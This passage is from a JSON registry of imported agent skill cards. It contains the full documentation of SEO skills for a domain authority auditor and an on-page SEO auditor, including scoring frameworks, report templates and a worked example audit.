"ref": "main", "path": "skills/aaron-he-zhu/competitor-analysis/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/competitor-analysis/SKILL.md", "importedAt": "2026-02-18T19:24:20.983Z"}}}}, {"slug": "clawhub-domain-authority-auditor", "name": "Domain Authority Auditor", "category": "Security", "description": "Based on CITE Domain Rating. Full benchmark reference: references/cite-domain-rating.md", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Domain Authority Auditor", "slug": "clawhub-domain-authority-auditor", "version": "1.0.0", "description": "--- name: domain-authority-auditor description: 'Use when the user asks to \"audit domain authority\", \"domain trust score\", \"CITE audit\", \"how authoritative is my site\", \"domain credibility check\", \"is my domain trustworthy\", or \"domain credibility score\". Runs a full CITE 40-item domain authority audit, scoring domains across 4 dimensions with weighted scoring by domain type. Produces a detailed report with per-item scores, dimension analysis, veto checks, and a prioritized action plan. For content-level assessment, see content-quality-auditor. For link profile details, see backlink-analyzer.' license: Apache-2.0 metadata: author: aaron-he-zhu version: \"2.0.0\" geo-relevance: \"medium\" tags: - seo - geo - domain authority - domain audit - site trust - credibility - cite framework - domain rating - domain scoring triggers: - \"audit domain authority\" - \"domain trust score\" - \"CITE audit\" - \"how authoritative is my site\" - \"domain credibility check\" - \"domain rating\" - \"site authority\" - \"is my domain trustworthy\" - \"domain credibility score\" ---", "documentation_md": "---\nname: domain-authority-auditor\ndescription: 'Use when the user asks to \"audit domain authority\", \"domain trust score\", \"CITE audit\", \"how authoritative is my site\", \"domain credibility check\", \"is my domain trustworthy\", or \"domain credibility score\". Runs a full CITE 40-item domain authority audit, scoring domains across 4 dimensions with weighted scoring by domain type. Produces a detailed report with per-item scores, dimension analysis, veto checks, and a prioritized action plan. For content-level assessment, see content-quality-auditor. For link profile details, see backlink-analyzer.'\nlicense: Apache-2.0\nmetadata:\n author: aaron-he-zhu\n version: \"2.0.0\"\n geo-relevance: \"medium\"\n tags:\n - seo\n - geo\n - domain authority\n - domain audit\n - site trust\n - credibility\n - cite framework\n - domain rating\n - domain scoring\n triggers:\n - \"audit domain authority\"\n - \"domain trust score\"\n - \"CITE audit\"\n - \"how authoritative is my site\"\n - \"domain credibility check\"\n - \"domain rating\"\n - \"site authority\"\n - \"is my domain trustworthy\"\n - \"domain credibility score\"\n---\n\n# Domain Authority Auditor\n\n> Based on [CITE Domain Rating](https://github.com/aaron-he-zhu/cite-domain-rating). Full benchmark reference: [references/cite-domain-rating.md](../../references/cite-domain-rating.md)\n\n\n> **[SEO & GEO Skills Library](https://skills.sh/aaron-he-zhu/seo-geo-claude-skills)** \u00b7 20 skills for SEO + GEO \u00b7 Install all: `npx skills add aaron-he-zhu/seo-geo-claude-skills`\n\n<details>\n<summary>Browse all 20 skills</summary>\n\n**Research** \u00b7 [keyword-research](../../research/keyword-research/) \u00b7 [competitor-analysis](../../research/competitor-analysis/) \u00b7 [serp-analysis](../../research/serp-analysis/) \u00b7 [content-gap-analysis](../../research/content-gap-analysis/)\n\n**Build** \u00b7 [seo-content-writer](../../build/seo-content-writer/) \u00b7 [geo-content-optimizer](../../build/geo-content-optimizer/) \u00b7 [meta-tags-optimizer](../../build/meta-tags-optimizer/) \u00b7 [schema-markup-generator](../../build/schema-markup-generator/)\n\n**Optimize** \u00b7 [on-page-seo-auditor](../../optimize/on-page-seo-auditor/) \u00b7 [technical-seo-checker](../../optimize/technical-seo-checker/) \u00b7 [internal-linking-optimizer](../../optimize/internal-linking-optimizer/) \u00b7 [content-refresher](../../optimize/content-refresher/)\n\n**Monitor** \u00b7 [rank-tracker](../../monitor/rank-tracker/) \u00b7 [backlink-analyzer](../../monitor/backlink-analyzer/) \u00b7 [performance-reporter](../../monitor/performance-reporter/) \u00b7 [alert-manager](../../monitor/alert-manager/)\n\n**Cross-cutting** \u00b7 [content-quality-auditor](../content-quality-auditor/) \u00b7 **domain-authority-auditor** \u00b7 [entity-optimizer](../entity-optimizer/) \u00b7 [memory-management](../memory-management/)\n\n</details>\n\nThis skill evaluates domain authority across 40 standardized criteria organized in 4 dimensions. It produces a comprehensive audit report with per-item scoring, dimension and weighted scores by domain type, veto item checks, and a prioritized action plan.\n\n**Sister skill**: [content-quality-auditor](../content-quality-auditor/) evaluates content at the page level (80 items). This skill evaluates the domain behind the content (40 items). Together they provide a complete 120-item assessment.\n\n> **Namespace note**: CITE uses C01-C10 for Citation items; CORE-EEAT uses C01-C10 for Contextual Clarity items. In combined 120-item assessments, prefix with the framework name (e.g., CITE-C01 vs CORE-C01) to avoid confusion.\n\n## When to Use This Skill\n\n- Evaluating domain authority before a GEO campaign\n- Benchmarking your domain against competitors\n- Assessing whether a domain is trustworthy as a citation source\n- Running periodic domain health checks\n- After link building campaigns to measure progress\n- Identifying manipulation red flags (PBNs, link farms, penalty history)\n- Planning domain authority improvement strategy\n- Cross-referencing with content-quality-auditor for full 120-item assessment\n\n## What This Skill Does\n\n1. **Full 40-Item Audit**: Scores every CITE check item as Pass/Partial/Fail\n2. **Dimension Scoring**: Calculates scores for all 4 dimensions (0-100 each)\n3. **Weighted Totals**: Applies domain-type-specific weights for CITE Score\n4. **Veto Detection**: Flags critical manipulation signals (T03, T05, T09)\n5. **Priority Ranking**: Identifies Top 5 improvements sorted by impact\n6. **Action Plan**: Generates specific, actionable improvement steps\n7. **Cross-Reference**: Optionally pairs with CORE-EEAT for combined diagnosis\n\n## How to Use\n\n### Audit Your Domain\n\n```\nAudit domain authority for [domain]\n```\n\n```\nRun a CITE domain audit on [domain] as a [domain type]\n```\n\n### Audit with Domain Type\n\n```\nCITE audit for example.com as an e-commerce site\n```\n\n```\nScore this SaaS domain against the 40-item benchmark: [domain]\n```\n\n### Comparative Audit\n\n```\nCompare domain authority: [your domain] vs [competitor 1] vs [competitor 2]\n```\n\n### Combined Assessment\n\n```\nRun full 120-item assessment on [domain]: CITE domain audit + CORE-EEAT content audit on [sample pages]\n```\n\n## Data Sources\n\n> See [CONNECTORS.md](../../CONNECTORS.md) for tool category placeholders.\n\n**With ~~link database + ~~SEO tool + ~~AI monitor + ~~knowledge graph + ~~brand monitor connected:**\nAutomatically pull backlink profiles and link quality metrics from ~~link database, domain authority scores and keyword rankings from ~~SEO tool, AI citation data from ~~AI monitor, entity presence from ~~knowledge graph, and brand mention data from ~~brand monitor.\n\n**With manual data only:**\nAsk the user to provide:\n1. Domain to evaluate\n2. Domain type (if not auto-detectable): Content Publisher, Product & Service, E-commerce, Community & UGC, Tool & Utility, or Authority & Institutional\n3. Backlink data: referring domains count, domain authority, top linking domains\n4. Traffic estimates (from any SEO tool or SimilarWeb)\n5. Competitor domains for comparison (optional)\n\nProceed with the full 40-item audit using provided data. Note in the output which items could not be fully evaluated due to missing access (e.g., AI citation data, knowledge graph queries, WHOIS history).\n\n## Instructions\n\nWhen a user requests a domain authority audit:\n\n### Step 1: Preparation\n\n```markdown\n### Audit Setup\n\n**Domain**: [domain]\n**Domain Type**: [auto-detected or user-specified]\n**Dimension Weights**: [from domain-type weight table below]\n\n#### Domain-Type Weight Table\n\n> Canonical source: `references/cite-domain-rating.md`. This inline copy is for convenience.\n\n| Dim | Default | Content Publisher | Product & Service | E-commerce | Community & UGC | Tool & Utility | Authority & Institutional |\n|-----|:-------:|:-:|:-:|:-:|:-:|:-:|:-:|\n| C | 35% | **40%** | 25% | 20% | 35% | 25% | **45%** |\n| I | 20% | 15% | **30%** | 20% | 10% | **30%** | 20% |\n| T | 25% | 20% | 25% | **35%** | 25% | 25% | 20% |\n| E | 20% | 25% | 20% | 25% | **30%** | 20% | 15% |\n\n#### Veto Check (Emergency Brake)\n\n| Veto Item | Status | Action |\n|-----------|--------|--------|\n| T03: Link-Traffic Coherence | \u2705 Pass / \u26a0\ufe0f VETO | [If VETO: \"Audit backlink profile; disavow toxic links\"] |\n| T05: Backlink Profile Uniqueness | \u2705 Pass / \u26a0\ufe0f VETO | [If VETO: \"Flag as manipulation network; investigate link sources\"] |\n| T09: Penalty & Deindex History | \u2705 Pass / \u26a0\ufe0f VETO | [If VETO: \"Address penalty first; all other optimization is futile\"] |\n```\n\nIf any veto item triggers, flag it prominently at the top of the report. CITE Score is capped at 39 (Poor) regardless of other scores.\n\n### Step 2: C + I Audit (20 items)\n\nEvaluate each item against the criteria in [references/cite-domain-rating.md](../../references/cite-domain-rating.md).\n\nScore each item:\n- **Pass** = 10 points (fully meets criteria)\n- **Partial** = 5 points (partially meets criteria)\n- **Fail** = 0 points (does not meet criteria)\n\n```markdown\n### C \u2014 Citation\n\n| ID | Check Item | Score | Notes |\n|----|-----------|-------|-------|\n| C01 | Referring Domains Volume | Pass/Partial/Fail | [specific observation] |\n| C02 | Referring Domains Quality | Pass/Partial/Fail | [specific observation] |\n| ... | ... | ... | ... |\n| C10 | Link Source Diversity | Pass/Partial/Fail | [specific observation] |\n\n**C Score**: [X]/100\n\n### I \u2014 Identity\n\n| ID | Check Item | Score | Notes |\n|----|-----------|-------|-------|\n| I01 | Knowledge Graph Presence | Pass/Partial/Fail | [specific observation] |\n| ... | ... | ... | ... |\n\n**I Score**: [X]/100\n```\n\n### Step 3: T + E Audit (20 items)\n\nSame format for Trust and Eminence dimensions.\n\n```markdown\n### T \u2014 Trust\n\n| ID | Check Item | Score | Notes |\n|----|-----------|-------|-------|\n| T01 | Link Profile Naturalness | Pass/Partial/Fail | [specific observation] |\n| ... | ... | ... | ... |\n\n**T Score**: [X]/100\n\n### E \u2014 Eminence\n\n| ID | Check Item | Score | Notes |\n|----|-----------|-------|-------|\n| E01 | Organic Search Visibility | Pass/Partial/Fail | [specific observation] |\n| ... | ... | ... | ... |\n\n**E Score**: [X]/100\n```\n\n**Note**: Some items require specialized data (C05-C08 AI citation data, I01 knowledge graph queries, T04-T05 IP/profile analysis). Score what is observable; mark unverifiable items as \"N/A \u2014 requires [data source]\" and exclude from dimension average.\n\n### Step 4: Scoring & Report\n\nCalculate scores and generate the final report:\n\n```markdown\n## CITE Domain Authority Report\n\n### Overview\n\n- **Domain**: [domain]\n- **Domain Type**: [type]\n- **Audit Date**: [date]\n- **CITE Score**: [score]/100 ([rating])\n- **Veto Status**: \u2705 No triggers / \u26a0\ufe0f [item] triggered \u2014 Score capped at 39\n\n### Dimension Scores\n\n| Dimension | Score | Rating | Weight | Weighted |\n|-----------|-------|--------|--------|----------|\n| C \u2014 Citation | [X]/100 | [rating] | [X]% | [X] |\n| I \u2014 Identity | [X]/100 | [rating] | [X]% | [X] |\n| T \u2014 Trust | [X]/100 | [rating] | [X]% | [X] |\n| E \u2014 Eminence | [X]/100 | [rating] | [X]% | [X] |\n| **CITE Score** | | | | **[X]/100** |\n\n**Score Calculation**:\n- CITE Score = C \u00d7 [w_C] + I \u00d7 [w_I] + T \u00d7 [w_T] + E \u00d7 [w_E]\n\n**Rating Scale**: 90-100 Excellent | 75-89 Good | 60-74 Medium | 40-59 Low | 0-39 Poor\n\n### Per-Item Scores\n\n| ID | Check Item | Score | Notes |\n|----|-----------|-------|-------|\n| C01 | Referring Domains Volume | [Pass/Partial/Fail] | [observation] |\n| C02 | Referring Domains Quality | [Pass/Partial/Fail] | [observation] |\n| ... | ... | ... | ... |\n| E10 | Industry Share of Voice | [Pass/Partial/Fail] | [observation] |\n\n### Top 5 Priority Improvements\n\nSorted by: weight \u00d7 points lost (highest impact first)\n\n1. **[ID] [Name]** \u2014 [specific modification suggestion]\n - Current: [Fail/Partial] | Potential gain: [X] weighted points\n - Action: [concrete step]\n\n2. **[ID] [Name]** \u2014 [specific modification suggestion]\n - Current: [Fail/Partial] | Potential gain: [X] weighted points\n - Action: [concrete step]\n\n3\u20135. [Same format]\n\n### Action Plan\n\n#### Quick Wins (< 1 week)\n- [ ] [Action 1]\n- [ ] [Action 2]\n\n#### Medium Effort (1-4 weeks)\n- [ ] [Action 3]\n- [ ] [Action 4]\n\n#### Strategic (1-3 months)\n- [ ] [Action 5]\n- [ ] [Action 6]\n\n### Cross-Reference with CORE-EEAT\n\nFor a complete assessment, pair this CITE audit with a CORE-EEAT content audit:\n\n| Assessment | Score | Rating |\n|-----------|-------|--------|\n| CITE (Domain) | [X]/100 | [rating] |\n| CORE-EEAT (Content) | [Run content-quality-auditor on sample pages] | \u2014 |\n\n**Diagnosis Matrix**:\n- High CITE + High CORE-EEAT \u2192 Maintain and expand\n- High CITE + Low CORE-EEAT \u2192 Prioritize content quality\n- Low CITE + High CORE-EEAT \u2192 Build domain authority\n- Low CITE + Low CORE-EEAT \u2192 Start with content, then domain\n\n### Recommended Next Steps\n\n- For domain authority building: focus on top 5 priorities above\n- For content improvement: use [content-quality-auditor](../content-quality-auditor/) on key pages\n- For backlink strategy: use [backlink-analyzer](../../monitor/backlink-analyzer/) for detailed link analysis\n- For competitor benchmarking: use [competitor-analysis](../../research/competitor-analysis/) with CITE scores\n- For tracking progress: run `/seo:report` with CITE score trends\n```\n\n## Validation Checkpoints\n\n### Input Validation\n- [ ] Domain identified and accessible\n- [ ] Domain type confirmed (auto-detected or user-specified)\n- [ ] Backlink data available (at minimum: referring domains count, DA/DR)\n- [ ] If comparative audit, competitor domains also specified\n\n### Output Validation\n- [ ] All 40 items scored (or marked N/A with reason)\n- [ ] All 4 dimension scores calculated correctly\n- [ ] Weighted CITE Score matches domain-type weight configuration\n- [ ] All 3 veto items checked first and flagged if triggered\n- [ ] Top 5 improvements sorted by weighted impact, not arbitrary\n- [ ] Every recommendation is specific and actionable (not generic advice)\n- [ ] Action plan includes concrete steps with effort estimates\n\n## Example\n\n**User**: \"Audit domain authority for cloudhosting.com as a content publisher\"\n\n**Output**:\n\n```markdown\n## CITE Domain Authority Report\n\n### Overview\n\n- **Domain**: cloudhosting.com\n- **Domain Type**: Content Publisher\n- **Audit Date**: 2025-02-03\n- **CITE Score**: 69.9/100 (Medium)\n- **Veto Status**: \u2705 No triggers\n\n#### Veto Check (Emergency Brake)\n\n| Veto Item | Status | Action |\n|-----------|--------|--------|\n| T03: Link-Traffic Coherence | \u2705 Pass | Link growth correlates with traffic growth |\n| T05: Backlink Profile Uniqueness | \u2705 Pass | No PBN patterns detected; diverse link sources |\n| T09: Penalty & Deindex History | \u2705 Pass | No manual actions; clean penalty history |\n\n### Dimension Scores\n\n| Dimension | Score | Rating | Weight | Weighted |\n|-----------|-------|--------|--------|----------|\n| C \u2014 Citation | 72/100 | Medium | 40% | 28.8 |\n| I \u2014 Identity | 58/100 | Low | 15% | 8.7 |\n| T \u2014 Trust | 81/100 | Good | 20% | 16.2 |\n| E \u2014 Eminence | 65/100 | Medium | 25% | 16.25 |\n| **CITE Score** | | | | **69.9/100** |\n\n**Score Calculation**:\n- CITE Score = 72 \u00d7 0.40 + 58 \u00d7 0.15 + 81 \u00d7 0.20 + 65 \u00d7 0.25 = 69.9\n\n**Rating Scale**: 90-100 Excellent | 75-89 Good | 60-74 Medium | 40-59 Low | 0-39 Poor\n\n### Top 5 Priority Improvements\n\nSorted by: weight \u00d7 points lost (highest impact first)\n\n1. **I01 Knowledge Graph Presence** \u2014 Create entity entry in Google Knowledge Graph\n - Current: Fail | Potential gain: 1.5 weighted points\n - Action: Create Wikidata entry for CloudHost Inc. with P856 (website), P452 (industry), P571 (inception)\n\n2. **C05 AI Citation Volume** \u2014 Increase citations in AI-generated answers\n - Current: Partial | Potential gain: 2.0 weighted points\n - Action: Optimize top 10 pages for GEO; add definitive statements AI can quote directly\n\n3. **I03 Brand SERP Control** \u2014 Branded SERP shows only 4 of 10 results from owned properties\n - Current: Partial | Potential gain: 0.75 weighted points\n - Action: Claim Google Business Profile; build out social profiles; create CrunchBase entry\n\n4. **E04 Content Freshness Cadence** \u2014 40% of content is >12 months without update\n - Current: Partial | Potential gain: 1.25 weighted points\n - Action: Establish monthly content refresh schedule; prioritize top 20 traffic pages\n\n5. **I05 Schema.org Completeness** \u2014 Organization schema missing sameAs, founder, foundingDate\n - Current: Partial | Potential gain: 0.75 weighted points\n - Action: Add complete Organization schema with sameAs links to Wikidata, LinkedIn, CrunchBase\n\n### Action Plan\n\n#### Quick Wins (< 1 week)\n- [ ] Add sameAs, founder, and foundingDate to Organization schema\n- [ ] Claim Google Business Profile for branded SERP control\n\n#### Medium Effort (1-4 weeks)\n- [ ] Create Wikidata entry with complete properties and references\n- [ ] Optimize top 10 pages with GEO-friendly definitive statements\n- [ ] Create or complete CrunchBase, LinkedIn company page profiles\n\n#### Strategic (1-3 months)\n- [ ] Launch monthly content refresh program targeting stale pages\n- [ ] Build topical authority through 3-4 pillar content clusters\n- [ ] Pursue digital PR to earn mentions on industry publications (TechCrunch, G2)\n\n### Cross-Reference with CORE-EEAT\n\n| Assessment | Score | Rating |\n|-----------|-------|--------|\n| CITE (Domain) | 69.9/100 | Medium |\n| CORE-EEAT (Content) | Run content-quality-auditor on sample pages | \u2014 |\n\n**Diagnosis**: Low CITE + unknown CORE-EEAT \u2192 Run `/seo:audit-page` on top 5 landing pages to determine whether to prioritize content quality or domain authority first.\n\n### Recommended Next Steps\n\n- For entity building: run [entity-optimizer](../entity-optimizer/) to strengthen I-dimension signals\n- For content audit: use [content-quality-auditor](../content-quality-auditor/) on key pages\n- For tracking progress: run `/seo:report` with CITE score trends quarterly\n```\n\n## Tips for Success\n\n1. **Start with veto items** \u2014 T03, T05, T09 can invalidate the entire score\n2. **Identify domain type first** \u2014 Different types have very different weight profiles\n3. **AI citation items (C05-C08) matter most for GEO** \u2014 Test by querying AI engines with niche-relevant questions\n4. **Some items need specialized tools** \u2014 Knowledge graph queries, AI citation monitoring, and IP diversity analysis may require manual research if tools aren't connected\n5. **Pair with CORE-EEAT for full picture** \u2014 Domain authority without content quality (or vice versa) tells only half the story\n6. **Re-audit quarterly** \u2014 Domain authority changes slowly; quarterly cadence is sufficient for most domain types\n7. **Compare against competitors** \u2014 Absolute scores matter less than relative position in your niche\n\n## Reference Materials\n\n- [CITE Domain Rating](../../references/cite-domain-rating.md) \u2014 Full 40-item benchmark with dimension definitions, scoring criteria, domain-type weight tables, and veto items\n\n## Related Skills\n\n- [content-quality-auditor](../content-quality-auditor/) \u2014 Page-level content audit (CORE-EEAT 80 items) \u2014 the sister skill\n- [backlink-analyzer](../../monitor/backlink-analyzer/) \u2014 Deep-dive into backlink profile (feeds C dimension data)\n- [competitor-analysis](../../research/competitor-analysis/) \u2014 Compare CITE scores across competitors\n- [performance-reporter](../../monitor/performance-reporter/) \u2014 Track CITE score trends over time\n- [geo-content-optimizer](../../build/geo-content-optimizer/) \u2014 Page-level GEO optimization; CITE C05-C08 provide domain-level context\n- [memory-management](../memory-management/) \u2014 Store domain audit results for tracking\n- [entity-optimizer](../entity-optimizer/) \u2014 Entity presence audit; complements CITE I dimension\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/domain-authority-auditor/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/aaron-he-zhu/domain-authority-auditor/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/aaron-he-zhu/domain-authority-auditor/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/aaron-he-zhu/domain-authority-auditor/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/domain-authority-auditor/SKILL.md", "importedAt": "2026-02-18T19:24:20.993Z"}}}}, {"slug": "clawhub-on-page-seo-auditor", "name": "On-Page SEO Auditor", "category": "Security", "description": "SEO & GEO Skills Library \u00b7 20 skills for SEO + GEO \u00b7 Install all: npx skills add aaron-he-zhu/seo-geo-claude-skills", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "On-Page SEO Auditor", "slug": "clawhub-on-page-seo-auditor", "version": "1.0.0", "description": "--- name: on-page-seo-auditor description: 'Use when the user asks to \"audit page SEO\", \"on-page SEO check\", \"SEO score\", \"page optimization\", \"what SEO issues does this page have\", \"what is wrong with this page SEO\", \"score my page\", or \"why is this page not ranking\". Performs comprehensive on-page SEO audits to identify optimization opportunities including title tags, meta descriptions, headers, content quality, internal linking, and image optimization. For server, speed, and crawl issues, see technical-seo-checker. For full EEAT content quality scoring, see content-quality-auditor.' license: Apache-2.0 metadata: author: aaron-he-zhu version: \"2.0.0\" geo-relevance: \"medium\" tags: - seo - on-page audit - page optimization - seo audit - content optimization - header tags - image optimization - seo score triggers: - \"audit page SEO\" - \"on-page SEO check\" - \"SEO score\" - \"page optimization\" - \"what SEO issues\" - \"check my page\" - \"on-page audit\" - \"what's wrong with this page's SEO\" - \"score my page\" - \"why isn't this page ranking\" ---", "documentation_md": "---\nname: on-page-seo-auditor\ndescription: 'Use when the user asks to \"audit page SEO\", \"on-page SEO check\", \"SEO score\", \"page optimization\", \"what SEO issues does this page have\", \"what is wrong with this page SEO\", \"score my page\", or \"why is this page not ranking\". Performs comprehensive on-page SEO audits to identify optimization opportunities including title tags, meta descriptions, headers, content quality, internal linking, and image optimization. For server, speed, and crawl issues, see technical-seo-checker. For full EEAT content quality scoring, see content-quality-auditor.'\nlicense: Apache-2.0\nmetadata:\n author: aaron-he-zhu\n version: \"2.0.0\"\n geo-relevance: \"medium\"\n tags:\n - seo\n - on-page audit\n - page optimization\n - seo audit\n - content optimization\n - header tags\n - image optimization\n - seo score\n triggers:\n - \"audit page SEO\"\n - \"on-page SEO check\"\n - \"SEO score\"\n - \"page optimization\"\n - \"what SEO issues\"\n - \"check my page\"\n - \"on-page audit\"\n - \"what's wrong with this page's SEO\"\n - \"score my page\"\n - \"why isn't this page ranking\"\n---\n\n# On-Page SEO Auditor\n\n\n> **[SEO & GEO Skills Library](https://skills.sh/aaron-he-zhu/seo-geo-claude-skills)** \u00b7 20 skills for SEO + GEO \u00b7 Install all: `npx skills add aaron-he-zhu/seo-geo-claude-skills`\n\n<details>\n<summary>Browse all 20 skills</summary>\n\n**Research** \u00b7 [keyword-research](../../research/keyword-research/) \u00b7 [competitor-analysis](../../research/competitor-analysis/) \u00b7 [serp-analysis](../../research/serp-analysis/) \u00b7 [content-gap-analysis](../../research/content-gap-analysis/)\n\n**Build** \u00b7 [seo-content-writer](../../build/seo-content-writer/) \u00b7 [geo-content-optimizer](../../build/geo-content-optimizer/) \u00b7 [meta-tags-optimizer](../../build/meta-tags-optimizer/) \u00b7 [schema-markup-generator](../../build/schema-markup-generator/)\n\n**Optimize** \u00b7 **on-page-seo-auditor** \u00b7 [technical-seo-checker](../technical-seo-checker/) \u00b7 [internal-linking-optimizer](../internal-linking-optimizer/) \u00b7 [content-refresher](../content-refresher/)\n\n**Monitor** \u00b7 [rank-tracker](../../monitor/rank-tracker/) \u00b7 [backlink-analyzer](../../monitor/backlink-analyzer/) \u00b7 [performance-reporter](../../monitor/performance-reporter/) \u00b7 [alert-manager](../../monitor/alert-manager/)\n\n**Cross-cutting** \u00b7 [content-quality-auditor](../../cross-cutting/content-quality-auditor/) \u00b7 [domain-authority-auditor](../../cross-cutting/domain-authority-auditor/) \u00b7 [entity-optimizer](../../cross-cutting/entity-optimizer/) \u00b7 [memory-management](../../cross-cutting/memory-management/)\n\n</details>\n\nThis skill performs detailed on-page SEO audits to identify issues and optimization opportunities. It analyzes all on-page elements that affect search rankings and provides actionable recommendations.\n\n## When to Use This Skill\n\n- Auditing pages before or after publishing\n- Identifying why a page isn't ranking well\n- Optimizing existing content for better performance\n- Creating pre-publish SEO checklists\n- Comparing your on-page SEO to competitors\n- Systematic site-wide SEO improvements\n- Training team members on SEO best practices\n\n## What This Skill Does\n\n1. **Title Tag Analysis**: Evaluates title optimization and CTR potential\n2. **Meta Description Review**: Checks description quality and length\n3. **Header Structure Audit**: Analyzes H1-H6 hierarchy\n4. **Content Quality Assessment**: Reviews content depth and optimization\n5. **Keyword Usage Analysis**: Checks keyword placement and density\n6. **Internal Link Review**: Evaluates internal linking structure\n7. **Image Optimization Check**: Audits alt text and file optimization\n8. **Technical On-Page Review**: Checks URL, canonical, and mobile factors\n\n## How to Use\n\n### Audit a Single Page\n\n```\nAudit the on-page SEO of [URL]\n```\n\n```\nCheck SEO issues on this page targeting [keyword]: [URL/content]\n```\n\n### Compare Against Competitors\n\n```\nCompare on-page SEO of [your URL] vs [competitor URL] for [keyword]\n```\n\n### Audit Content Before Publishing\n\n```\nPre-publish SEO audit for this content targeting [keyword]: [content]\n```\n\n## Data Sources\n\n> See [CONNECTORS.md](../../CONNECTORS.md) for tool category placeholders.\n\n**With ~~SEO tool + ~~web crawler connected:**\nClaude can automatically pull page HTML via ~~web crawler, fetch keyword search volume and difficulty from ~~SEO tool, retrieve click-through rate data from ~~search console, and download competitor pages for comparison. This enables fully automated audits with live data.\n\n**With manual data only:**\nAsk the user to provide:\n1. Page URL or complete HTML content\n2. Target primary and secondary keywords\n3. Competitor page URLs for comparison (optional)\n\nProceed with the full audit using provided data. Note in the output which findings are from automated crawl vs. manual review.\n\n## Instructions\n\nWhen a user requests an on-page SEO audit:\n\n1. **Gather Page Information**\n\n ```markdown\n ### Audit Setup\n \n **Page URL**: [URL]\n **Target Keyword**: [primary keyword]\n **Secondary Keywords**: [additional keywords]\n **Page Type**: [blog/product/landing/service]\n **Business Goal**: [traffic/conversions/authority]\n ```\n\n2. **Audit Title Tag**\n\n ```markdown\n ## Title Tag Analysis\n \n **Current Title**: [title]\n **Character Count**: [X] characters\n \n | Criterion | Status | Notes |\n |-----------|--------|-------|\n | Length (50-60 chars) | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Keyword included | \u2705/\u26a0\ufe0f/\u274c | Position: [front/middle/end] |\n | Keyword at front | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Unique across site | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Compelling/clickable | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Matches intent | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n \n **Title Score**: [X]/10\n \n **Issues Found**:\n - [Issue 1]\n - [Issue 2]\n \n **Recommended Title**:\n \"[Optimized title suggestion]\"\n \n **Why**: [Explanation of improvements]\n ```\n\n3. **Audit Meta Description**\n\n ```markdown\n ## Meta Description Analysis\n \n **Current Description**: [description]\n **Character Count**: [X] characters\n \n | Criterion | Status | Notes |\n |-----------|--------|-------|\n | Length (150-160 chars) | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Keyword included | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Call-to-action present | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Unique across site | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Accurately describes page | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Compelling copy | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n \n **Description Score**: [X]/10\n \n **Issues Found**:\n - [Issue 1]\n \n **Recommended Description**:\n \"[Optimized description suggestion]\" ([X] chars)\n ```\n\n4. **Audit Header Structure**\n\n ```markdown\n ## Header Structure Analysis\n \n ### Current Header Hierarchy\n \n ```\n H1: [H1 text]\n H2: [H2 text]\n H3: [H3 text]\n H3: [H3 text]\n H2: [H2 text]\n H3: [H3 text]\n H2: [H2 text]\n ```\n \n | Criterion | Status | Notes |\n |-----------|--------|-------|\n | Single H1 | \u2705/\u26a0\ufe0f/\u274c | Found: [X] H1s |\n | H1 includes keyword | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Logical hierarchy | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | H2s include keywords | \u2705/\u26a0\ufe0f/\u274c | [X]/[Y] contain keywords |\n | No skipped levels | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Descriptive headers | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n \n **Header Score**: [X]/10\n \n **Issues Found**:\n - [Issue 1]\n - [Issue 2]\n \n **Recommended Changes**:\n - H1: [suggestion]\n - H2s: [suggestions]\n ```\n\n5. **Audit Content Quality**\n\n ```markdown\n ## Content Quality Analysis\n \n **Word Count**: [X] words\n **Reading Level**: [Grade level]\n **Estimated Read Time**: [X] minutes\n \n | Criterion | Status | Notes |\n |-----------|--------|-------|\n | Sufficient length | \u2705/\u26a0\ufe0f/\u274c | [comparison to ranking content] |\n | Comprehensive coverage | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Unique value/insights | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Up-to-date information | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Proper formatting | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Readability | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | E-E-A-T signals | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n \n **Content Elements Present**:\n - [ ] Introduction with keyword\n - [ ] Clear sections/structure\n - [ ] Bullet points/lists\n - [ ] Tables where appropriate\n - [ ] Images/visuals\n - [ ] Examples/case studies\n - [ ] Statistics with sources\n - [ ] Expert quotes\n - [ ] FAQ section\n - [ ] Conclusion with CTA\n \n **Content Score**: [X]/10\n \n **Gaps Identified**:\n - [Missing topic/section 1]\n - [Missing topic/section 2]\n \n **Recommendations**:\n 1. [Specific improvement]\n 2. [Specific improvement]\n ```\n\n6. **Audit Keyword Usage**\n\n ```markdown\n ## Keyword Optimization Analysis\n \n 